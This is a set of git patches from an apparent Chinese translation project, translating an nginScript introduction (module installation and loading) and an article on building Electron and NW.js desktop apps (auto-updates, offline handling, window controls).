-Enable the module by including a [`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module) directive for it in the top‑level ("main") context of the **nginx.conf** configuration file (not in the `http` or `stream` context). This example loads the nginScript module for HTTP traffic.
+2.
+在 **nginx.conf** 配置文件的顶层 ("main") 语境（而不是 `http` 或者 `流（stream）` 语境）中为这个模块加入一个[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)命令。这个例子给 HTTP 流量装载了 nginScript 模块：
 
 ```
 load_module modules/ngx_http_js_module.so;
 ```
 
-- 
-Reload NGINX Plus to load the nginScript module into the running instance.
+3.
+重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
 
 ```
 $ sudo nginx -s reload
 ```
 
-### Loading nginScript for Open Source NGINX
+### 给开源 NGINX 装载 nginScript
 
-If your system is configured to use the official [pre‑built packages for open source NGINX](http://nginx.org/en/linux_packages.html#mainline) and your installed version is 1.9.11 or later, then you can install nginScript as a pre‑built package for your platform.
+如果你的系统配置了官方的[开源 NGINX 预建包（pre‑built packages）](http://nginx.org/en/linux_packages.html#mainline)，并且你安装的版本在 1.9.11 或以上，你可以直接将 nginScript 安装为平台的预建包（pre‑built packages）。
 
 1.
-Install the pre‑built package.
-
+安装预建包（pre‑built packages）
 - 
-For Ubuntu and Debian systems:
+Ubuntu 和 Debian 系统使用下面的命令：
 
 ```
 $ sudo apt-get install nginx-module-njs
 ```
 
 - 
-For RedHat, CentOS, and Oracle Linux systems:
+RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
 
 ```
 $ sudo yum install nginx-module-njs
 ```
 
 2.
-Enable the module by including a [`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module) directive for it in the top‑level ("main") context of the **nginx.conf** configuration file (not in the `http` or `stream` context). This example loads the nginScript module for HTTP traffic.
+在 **nginx.conf** 配置文件的顶层 ("main") 语境（而不是 `http` 或者 `流（stream）` 语境）中为这个模块加入一个[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)命令。这个例子给 HTTP 流量装载了 nginScript 模块：
 
 ```
 load_module modules/ngx_http_js_module.so;
 ```
 
 3.
-Reload NGINX Plus to load the nginScript module into the running instance.
+重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
 
     $ sudo nginx -s reload
 
-### Compiling nginScript as a Dynamic Module for Open Source NGINX
+### 给开源 NGINX 编译动态 nginScript 模块
 
-If you prefer to compile an NGINX module from source:
+如果你更喜欢直接从源代码编译出一个 NGINX 模块：
 
-1. Follow [these instructions](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/) to build the nginScript module from the [open source repository](http://hg.nginx.org/njs/).
-2. Copy the module binary (**ngx_http_js_module.so**) to the **modules** subdirectory of the NGINX root (usually **/etc/nginx/modules**).
-3. Perform Steps 2 and 3 in [Loading nginScript for Open Source NGINX](#nginscript-oss-load&quot;).
+1. 跟随 [这些操作说明](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/)，使用[开源 repository](http://hg.nginx.org/njs/)构建 nginScript 模块。
+2. 将这个模块的二进制文件(**ngx_http_js_module.so**)拷贝到 NGINX 根目录（通常是 **/etc/nginx/modules**）下的 **modules** 子目录下。
+3. 完成 [给开源 NGINX 装载 nginScript](#nginscript-oss-load&quot;)的第二步和第三步。
 
 ---
 

From c0d2d9df79b4951ca5cbf4a4386d586a3870a353 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Mon, 3 Apr 2017 21:55:24 -0700
Subject: [PATCH 030/638] tweak styling

---
 TODO/introduction-nginscript.md | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 590646e28ce..1694d95e7ce 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -15,7 +15,7 @@
 
 - [*nginScript 入门*](https://www.nginx.com/blog/introduction-nginscript/)
 - [*使用 nginScript 逐步迁移客户端到新的服务器*](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
-- [*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera) in "Scaling MySQL with TCP Load Balancing and Galera Cluster"
+- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
 自从 nginScript 上线[2015 年 9 月]（https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product）以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
@@ -39,7 +39,7 @@ nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，
 
 ## nginScript 不是 Lua
 
-多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。
+多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua 模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。
 
 Lua 是一个强大的脚本语言。但是，就采用率来看，它仍是有一定缺陷的。并且，它也不算一个前端工程师或者开发运维工程师必备技能。
 
@@ -106,7 +106,7 @@ https://gist.github.com/49e2f6f6b0a36ed9846dd63cddbd742a.json: timeout
 
 如你所见，nginScript 代码与配置规则并不一样。我们用[`js_include`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_include) 指令来指定包含我们所有的 JavaScript 代码的文件。[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) 指令定义了一个新的 NGINX 变量`$access_log_with_headers`，还有填充这个变量所需的 JavaScript 函数。[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令定义了一种名为 **键值对（kvpairs）** 的新格式，它使用`$access_log_with_headers`变量的值输出每一行日志。
 
-[`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server)指令定义了一个简单的 HTTP 反向代理，这个反向代理可以将所有的请求转发给一个新地址，例如**http://www.example.com**。[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)指令可以用来指定所有以**键值对（kvpairs）**格式被录入日志的请求。
+[`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server)指令定义了一个简单的 HTTP 反向代理，这个反向代理可以将所有的请求转发给一个新地址，例如 **http://www.example.com** 。[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)指令可以用来指定所有以 **键值对（kvpairs）** 格式被录入日志的请求。
 
 我们现在来看一下用来准备每一行日志格式的 JavaScript 代码。我们有两个函数：
 
@@ -180,6 +180,7 @@ $ sudo nginx -s reload
 
 1.
 安装预建包（pre‑built packages）
+
 - 
 Ubuntu 和 Debian 系统使用下面的命令：
 

From 65917ddb3948e193493858612cff9d96d345e104 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Mon, 3 Apr 2017 21:59:00 -0700
Subject: [PATCH 031/638] tweak styling no.2

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 1694d95e7ce..b708fed22b4 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -18,7 +18,7 @@
 - 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
-自从 nginScript 上线[2015 年 9 月]（https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product）以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
+自从 nginScript 上线[2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
 nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它使用 JavaScript 代码扩展了 NGINX 的配置语法，以实现复杂配置的解决方案。
 

From d47347811605debf606b259666111cb87281557c Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Mon, 3 Apr 2017 22:00:56 -0700
Subject: [PATCH 032/638] tweak styling no.3

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index b708fed22b4..22b993b078c 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -18,7 +18,7 @@
 - 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
-自从 nginScript 上线[2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
+自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
 nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它使用 JavaScript 代码扩展了 NGINX 的配置语法，以实现复杂配置的解决方案。
 

From c368d68028c468a7613743be8a52fde2e145c961 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Tue, 4 Apr 2017 13:23:54 +0800
Subject: [PATCH 033/638] add second half

---
 TODO/beyond-browser-web-desktop-apps.md | 157 ++++++++++++------------
 1 file changed, 79 insertions(+), 78 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 8cc0d1526ff..97dde4b218d 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -224,45 +224,46 @@ Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者
 
 关于代码签名的令人讨厌的事情是，你必须在 Mac 上为 Mac 和 Windows 上为 Windows 签署你的应用程序。因此，如果是认真要发行桌面应用的话，就需要为每个发行版本给多种机器构建。
 
-This can feel a bit too manual or tedious, especially if you’re used to creating for the web. Thankfully, electron-builder was created with automation in mind. I’m talking here about continuous integration tools and services such as [Jenkins](https://jenkins.io/), [CodeShip](http://codeship.com/), [Travis-CI](https://travis-ci.org/), [AppVeyor](https://www.appveyor.com/) (for Windows) and so on. These could run your desktop app build at the press of a button or at every push to GitHub, for example.
+这可能会感到不够自动化很繁琐，特别是如果你习惯于在 web 上创建。幸运的是，electron-builder 被创造出来完成这些自动化工作。我说的是持续集成工具例如 [Jenkins](https://jenkins.io/)，[CodeShip](http://codeship.com/)，[Travis-CI](https://travis-ci.org/)，[AppVeyor](https://www.appveyor.com/)（Windows 集成）等。这些工具可以让你按一个按钮或者每次更新代码到 GitHub 时重新构建你的桌面应用。
 
-### Automatic Updates
+### 自动更新
 
-NW.js doesn’t have automatic update support, but you’ll have access to all of Node.js, so you can do whatever you want. Open-source modules are out there for it, such as [node-webkit-updater](https://github.com/edjafarov/node-webkit-updater), which handles downloading and replacing your app with a newer version. You could also roll your own custom system if you wanted.
+NW.js 没有支持自动更新，但是由于我们可以随意使用 Node.js，我们可以做任何事情。开源模块可以帮你实现，比如[node-webkit-updater](https://github.com/edjafarov/node-webkit-updater)可以下载更更新当前的 app 版本。当然你也可以自己造轮子。
 
-Electron has built-in support for automatic updates, via its [autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API. It doesn’t support Linux, first of all; instead, publishing your app to Linux package managers is recommended. This is common on Linux — don’t worry. The `autoUpdater` API is really simple; once you give it a URL, you can call the `checkForUpdates` method. It’s event-driven, so you can subscribe to the `update-downloaded` event, for example, and once it’s fired, call the `restartAndInstall` method to install the new version and restart the app. You can listen for a few other events, which you can use to tie the auto-updating functionality into your user interface nicely.
+通过[autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。`autoUpdater`API 使用非常简单，给定一个 URL 就可以调用`checkForUpdates`方法。因为它是事件驱动，所以你可以订阅`update-downloaded`事件，一旦该事件触发，就调用`restartAndInstall`方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。
 
-*Note*: You can have multiple update channels if you want, such as Google Chrome and Google Chrome Canary.
+*注意*：你可以使用多个更新频道，比如 Google Chrome 和 Google Chrome Canary。
 
-It’s not quite as simple behind the API. It’s based on the Squirrel update framework, which differs drastically between Mac and Windows, which use the [Squirrel.Mac](https://github.com/Squirrel/Squirrel.Mac) and [Squirrel.Windows](https://github.com/Squirrel/Squirrel.Windows) projects, respectively.
+API 背后的逻辑可就没这么简单了。它是基于 Squirrel 更新框架，用来区分 Mac 和 Windows 平台，对应的软件分别是[Squirrel.Mac](https://github.com/Squirrel/Squirrel.Mac) 和 [Squirrel.Windows](https://github.com/Squirrel/Squirrel.Windows)。
 
-The update code within your Mac Electron app is simple, but you’ll need a server (albeit a simple server). When you call the autoUpdater module’s `checkForUpdates` method, it will hit your server. What your server needs to do is return a 204 (“No Content”) if there isn’t an update; and if there is, it needs to return a 200 with a JSON containing a URL pointing to a `.zip` file. Back under the hood of your app (or the client), Squirrel.Mac will know what to do. It’ll go get that `.zip`, unzip it and fire the appropriate events.
+Mac 上的 Electron app 和更新有关的代码非常简单，但是你还是需要一个简单的服务器。一旦你调用 autoUpdater 模块中的`checkForUpdates`的方法，它会访问服务器。如果没有更新，服务器返回 204（“No Content”）；如果有更新，则返回 200 和一个包含 `.zip`文件 URL的 JSON。再回到客户端 app，Squirrel 知道接下来该怎么做：它会下载`.zip`，解压然后触发相应的事件。
 
-There a bit more (magic) going on in your Windows app when it comes to automatic updates. You won’t need a server, but you can have one if you’d like. You could host the static (update) files somewhere, such as AWS S3, or even have them locally on your machine, which is really handy for testing. Despite the differences between Squirrel.Mac and Squirrel.Windows, a happy medium can be found; for example, having a server for both, and storing the updates on S3 or somewhere similar.
+Windows 平台上 app 的更新需要更多点功夫。你不一定需要一台服务器。你可以把静态文件部署在某些地方，比如亚马逊的 AWS S3，或者甚至放在本地机器，可以方便测试。虽然 Mac 平台上的 Squirrel 和 Windows 平台上的 Squirrel 有些不同，但是依然有折中的办法来实现更新，比如给每个平台都分别部署一个服务器，或者把更新文件放在 S3 或者其他地方。
 
-Squirrel.Windows has a couple of nice features over Squirrel.Mac as well. It applies updates in the background; so, when you call `restartAndInstall`, it’ll be a bit quicker because it’s ready and waiting. It also supports delta updates. Let’s say your app checks for updates and there is one newer version. A binary diff (between the currently installed app and the update) will be downloaded and applied as a patch to the current executable, instead of replacing it with a whole new app. It can even do that incrementally if you’re, say, three versions behind, but it will only do that if it’s worth it. Otherwise, if you’re, say, 15 versions behind, it will just download the latest version in its entirety instead. The great thing is that all of this is done under the hood for you. The API remains really simple. You check for updates, it will figure out the optimal method to apply the update, and it will let you know when it’s ready to go.
+Squirrel.Windows 有些很不错的特性是 Squirrel.Mac 所没有的，Squirrel.Mac 也同样如此。Squirrel.Windows 在后台实现更新，所以当你调用`restartAndInstall`，速度会更快，因为本地已经提前下载好了需要的更新文件。Squirrel.Windows 也支持 delta 更新，比如 app 检测到新版本需要更新，需要更新的部分会以补丁包的方式被下载和安装，而不是重新下载整个新的 app。当前的 app 要比最新版本低三个版本，Squirrel.Windows 甚至可以按照递增的方式来下载和安装需要的更新。当然如果当前 app 已经落后最新版本15（TODO）个版本，Squirrel.Windows 就直接下载和安装整个最新的 app。这些功能底层已经帮你实现好了，API 使用起来依然很简单。你只需要检查更新，系统会帮你找到最优方案实现更新，并且告知用户更新完毕。
 
-*Note*: You will have to generate those binary diffs, though, and host them alongside your standard updates. Thankfully, electron-builder generates these for you, too.
+*注意*：
+虽然这些补丁包也必须部署在服务器上，但是 electron-builder 会帮你生成这些文件。
 
-Thanks to the Electron community, you don’t have to build your own server if you don’t want to. There are open-source projects you can use. Some allow you to [store updates on S3](https://github.com/ArekSredzki/electron-release-server) or use [GitHub releases](https://github.com/GitbookIO/nuts), and some even go as far as [providing administrative dashboards](https://github.com/ArekSredzki/electron-release-server) to manage the updates.
+感谢 Electron 社区，让我们不一定非要构建自己的服务器。有很多开源项目帮助你实现把[更新文件部署在 S3 上](https://github.com/ArekSredzki/electron-release-server)，或者用 [GitHub release](https://github.com/GitbookIO/nuts)，甚至还有[提供后台控制面板](https://github.com/ArekSredzki/electron-release-server)来管理不同的更新版本。
 
-### Desktop Versus Web
+### 桌面应用和网页应用的对决
 
-So, how does making a desktop app differ from making a web app? Let’s look at a few unexpected problems or gains you might come across along the way, some unexpected side effects of APIs you’re used to using on the web, workflow pain points, maintenance woes and more.
+那么桌面 app 到底和 web app 有些哪些不同？让我们来看看在 web 平台上使用 API 的副作用以及工作流还有在维护当中遇到的痛点。（TODO）
 
-Well, the first thing that comes to mind is browser lock-in. It’s like a guilty pleasure. If you’re making a desktop app exclusively, you’ll know exactly which Chromium version all of your users are on. Let your imagination run wild; you can use flexbox, ES6, pure WebSockets, WebRTC, anything you want. You can even enable experimental features in Chromium for your app (i.e. features coming down the line) or tweak settings such as your localStorage allowance. You’ll never have to deal with any cross-browser incompatibilities. This is on top of Node.js’ APIs and all of npm. You can do anything.
+第一件事情就是浏览器限定（browser lock-in），你也许会因此暗自高兴。假如你只做桌面 app，你很清楚用户用的是哪个版本的 Chromium。让我们来假设一下：你可以在 app 当中用到 flexbox，ES6，原生的 WebSocket，WebRTC 以及任何你想到的东西。你甚至可以在 app 当中开启尚在测试的 Chromium 特性，或者允许使用 localStorage。你根本不用处理任何跨浏览器的兼容问题。基于 Node.js API 和 NPM，你可以做任何事情。
 
-*Note*: You’ll still have to consider which operating system the user is running sometimes, though, but OS-sniffing is a lot more reliable and less frowned upon than browser sniffing.
+*注意*：但你依然需要考虑用户在使用什么样的操作系统。不过相比较不同浏览器之间的问题，跨操作系统的兼容性处理要更简单些。
 
-#### Working With file://
+#### 处理 file://
 
-Another interesting thing is that your app is essentially offline-first. Keep that in mind when creating your app; a user can launch your app without a network connection and your app will run; it will still load the local files. You’ll need to pay more attention to how your app behaves if the network connection is lost while it’s running. You may need to adjust your mindset.
+另外一个有趣的事情是你的 app 要做到离线优先（offline-first）。需要牢记的是用户即使在没有网路的情况下也能正常使用 app，载入本地文件。你需要认真考虑 app 在网络条件差的情况下，如何正常工作。你可能需要改变思考问题的方式。
 
-*Note*: You can load remote URLs if you really want, but I wouldn’t.
+*注意*：你可以载入远程 URLs，但是我不建议这么做。
 
-One tip I can give you here is not to trust [`navigator.onLine`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine) completely. This property returns a Boolean indicating whether or not there’s a connection, but watch out for false positives. It’ll return `true` if there’s any local connection without validating that connection. The Internet might not actually be accessible; it could be fooled by a dummy connection to a Vagrant virtual machine on your machine, etc. Instead, use Sindre Sorhus’ [`is-online`](https://github.com/sindresorhus/is-online) module to double-check; it will ping the Internet’s root servers and/or the favicon of a few popular websites. For example:
+我给出的建议是不要完全相信[`navigator.onLine`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)。这个属性会返回布尔类型来反馈当前网络连接状态，不过需要注意到误报。如果有本地连接它就返回 true 而不去验证连接的有效性。网络连接虽然显示成功，但是可能实际上无法正常访问网页。比如本地机器到 Vagrant 虚拟机的连接会被误认为是成功的网络连接。所以，请使用 Sindre Sorhus’ [`is-online`](https://github.com/sindresorhus/is-online) 来复核网络连接状态。它会 ping 互联网的根服务器或者一些著名网站的 favicon 文件。比如：
 
-```
+```javascript
 const isOnline = require('is-online');
 
 if(navigator.onLine){
@@ -277,31 +278,31 @@ else {
 }
 ```
 
-Speaking of local files, there are a few things to be aware of when using the `file://` protocol — protocol-less URLs, for one; you can’t use them anymore. I mean URLs that start with `//` instead of `http://` or `https://`. Typically, if a web app requests `//example.com/hello.json`, then your browser would expand this to `http://example.com/hello.json` or to `https://example.com/hello.json` if the current page is loaded over HTTPS. In our app, the current page would load using the `file://` protocol; so, if we requested the same URL, it would expand to `file://example.com/hello.json` and fail. The real worry here is third-party modules you might be using; authors aren’t thinking of desktop apps when they make a library.
+说到本地文件，有几件事情需要注意，比如你无法使用少协议（protocol less）的 URL，我的意思是比如用`//` 代替`http://` 或者 `https://`。理论上，如果一个 web app 在请求`//example.com/hello.json`，那么如果走的是 HTTPS的话，浏览器会把地址扩展为`https://example.com/hello.json`。在我们的 app 当中，如果这么做，当前页面会使用`file://`协议。所以，当我们请求同样的 URL 时候，app 会把地址扩展为`file://example.com/hello.json`然后请求失败。我们真正要担心的是那些第三方模块；那些作者可能并没有按照桌面 app 的思路来制作模块。
 
-You’d never use a CDN. Loading local files is basically instantaneous. There’s also no limit on the number of concurrent requests (per domain), like there is on the web (with HTTP/1.1 at least). You can load as many as you want in parallel.
+你不会使用到 CDN，因为载入本地文件基本上是瞬间完成的。而且不像浏览器，你没有同时请求数量的限制，至少不会像 HTTP/1.1 那样。你可以并发载入尽可能多的文件。
 
-#### Artifacts Galore
+#### 大量文件 TODO
 
-A lot of asset generation is involved in creating a solid desktop app. You’ll need to generate executables and installers and decide on an auto-update system. Then, for each update, you’ll have to build the executables again, more installers (because if someone goes to your website to download it, they should get the latest version) and binary diffs for delta updates.
+构建一个可靠稳固的桌面 app 需要生产大量的文件。你需要为一个自动更新的系统生成可执行文件和安装包。然后对应的每一个更新，都需要再次构建可执行文件和更多的安装包（因为如果有人去你的网站下载，他们会下载到最新版本）以及针对增量更新（delta update）的二进制比较文件（binary diffs）TODO。
 
-Weight is still a concern. A “Hello, World!” Electron app is 40 MB zipped. Besides the typical advice you follow when creating a web app (write less code, minify it, have fewer dependencies, etc.), there isn’t much I can offer you. The “Hello, World!” app is literally an app containing one HTML file; most of the weight comes from the fact that Chromium and Node.js are baked into your app. At least delta updates will reduce how much is downloaded when a user performs an update (on Windows only, I’m afraid). However, your users won’t be downloading your app on a 2G connection (hopefully!).
+文件大小仍然是一个需要考虑的地方。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码，压缩文件，使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。
 
-#### Expect the Unexpected
+#### 一些意想不到的事情
 
-You will discover unexpected behavior now and again. Some of it is more obvious than the rest, but a little annoying nonetheless. For example, let’s say you’ve made a music player app that supports a mini-player mode, in which the window is really small and always in front of any other apps. If a user were to click or tap a dropdown (`<select/>`), then it would open to reveal its options, overflowing past the bottom edge of the app. If you were to use a non-native select library (such as select2 or chosen), though, you’re in trouble. When open, your dropdown will be cut off by the edge of your app. So, the user would see a few items and then nothing, which is really frustrating. This would happen in a web browser, too, but it’s not often the user would resize the window down to a small enough size.
+在日后你一定会遇到一些意想不到的事情。有些事情要比其他更明显而且让人恼火。比如你制作了一个音乐播放器的 app，它支持迷你化，在其他应用之上用小窗口展示。假如用户点击了下拉菜单，app 会展示可选项，从 app 的底部边界溢出。如果你使用了非原生的包（比如 select2 或者 chosen），你会因此陷入麻烦。在打开下拉菜单的时候，它会被 app 的底部边界切割。用户会看到很少的选项甚至什么也看不到，这确实让人无语。当然这件事也会发生在浏览器上。但是因为已经是迷你化的播放器，用户不太可能会调整窗口大小。
 
 ![Screenshots comparing what happens to a native dropdown versus a non-native one](https://www.smashingmagazine.com/wp-content/uploads/2017/01/dropdownComparison-preview-opt.png)
 
-You may or may not know it, but on a Mac, every window has a header and a body. When a window isn’t focused, if you hover over an icon or button in the header, its appearance will reflect the fact that it’s being hovered over. For example, the close button on macOS is gray when the window is blurred but red when you hover over it. However, if you move your mouse over something in the body of the window, there is no visible change. This is intentional. Think about your desktop app, though; it’s Chromium missing the header, and your app is the web page, which is the body of the window. You could drop the native frame and create your own custom HTML buttons instead for minimize, maximize and close. If your window isn’t focused, though, they won’t react if you were to hover over them. Hover styles won’t be applied, and that feels really wrong. To make it worse, if you were to click the close button, for example, it would focus the window and that’s it. A second click would be required to actually click the button and close the app.
+你也许会知道，在 Mac 上每一个窗口都有一个 header 和 body。当窗口没有聚焦的时候，如果你把鼠标停留在 header 里面的图标或者按钮上，窗口的外观会对应的显示为鼠标停留状态。举个例子，macOS 上窗口的关闭按钮在未被停留时是灰色模糊的，当鼠标停留时，按钮变成红色。但是如果鼠标只是停留在 body 上，窗口外观不会发生改变。这是有意而为之的设计。让我们再回到我们的桌面app，基于 Chromium 的 app 是没有 header，整个 web app 就是窗口 body。你可以不用原生的框架而创建自己的 HTML 按钮来取代原生的最小化，最大化还有关闭按钮。如果窗口没有被聚焦，当鼠标停留的时候，窗口不会有任何变化。Hover 的样式没有被应用，这总让人感觉不太对。更糟糕的是，只有在点击关闭按钮的时候，窗口才会被聚焦。然后你还得再次点击关闭按钮来真正关闭当前窗口。
 
-To add insult to injury, Chromium has a bug that can mask the problem, making you think it works as you might have originally expected. If you move your mouse fast enough (nothing too unreasonable) from outside the window to an element inside the window, hover styles will be applied to that element. It’s a confirmed bug; applying the hover styles on a blurred window body “doesn’t meet platform expectations,” so it will be fixed. Hopefully, I’m saving you some heartbreak here. You could have a situation in which you’ve created beautiful custom window controls, yet in reality a lot of your users will be frustrated with your app (and will guess it’s not native).
+雪上加霜的是，Chromium 有一个 bug 可以掩盖这个问题，让你以为窗口会按照你期待的样子工作。把鼠标从窗口外移动到窗口内的元素，如果你移动得足够快，hover 样式会被应用。这是已经确认的 bug。把 hover 样式应用在一个模糊化的窗口 body 上“并不满足当前系统平台的要求”，日后该 bug 会被修复。但愿我上面说的话不会让你太心碎。事实上，你可以创建一个足够漂亮的自定义窗口控制，但现实是许多用户会因此苦恼（他们会怀疑这到底是不是原生的）。
 
-So, you must use native buttons on a Mac. There’s no way around that. For an NW.js app, you must enable the native frame, which is the default anyway (you can disable it by setting `window` object’s `frame` property to `false` in your `package.json`).
+所以你必须用到 Mac 原生的按钮。没有其他更好的办法了。对于NW.js app，你必须开启使用原生框架（你也可以通过在`package.json`里面把`window` 设置为 false来关闭使用原生框架）。
 
-You could do the same with an Electron app. This is controlled by setting the `frame` property when creating a window; for example, `new BrowserWindow({width: 800, height: 600, frame: true})`. As the Electron team does, they spotted this issue and added another option as a nice compromise; `titleBarStyle`. Setting this to `hidden` will hide the native title bar but keep the native window controls overlaid over the top-left corner of your app. This gets you around the problem of having non-native buttons on Mac, but you can still style the top of the app (and the area behind the buttons) however you like.
+Electron app 也可以实现同样效果。比如设置`new BrowserWindow({width: 800, height: 600, frame: true})`来创建窗口。Electron 官方团队就是这么做的，他们还加入另外一种不错的选项：把`titleBarStyle`设置成`hidden`会隐藏原生标题栏但是通过覆盖 app 左上角来保留原生的窗口控制。 这样就解决了之前的问题，但同时可以使用在左上角使用自定义按钮。
 
-```
+```javascript
 // main.js
 const {app, BrowserWindow} = require('electron');
 let mainWindow;
@@ -316,39 +317,39 @@ app.on('ready', () => {
 });
 ```
 
-Here’s an app in which I’ve disabled the title bar and given the `html` element a background image:
+下面这张图，我禁用了标题栏然后设置了`html` 的背景图片:
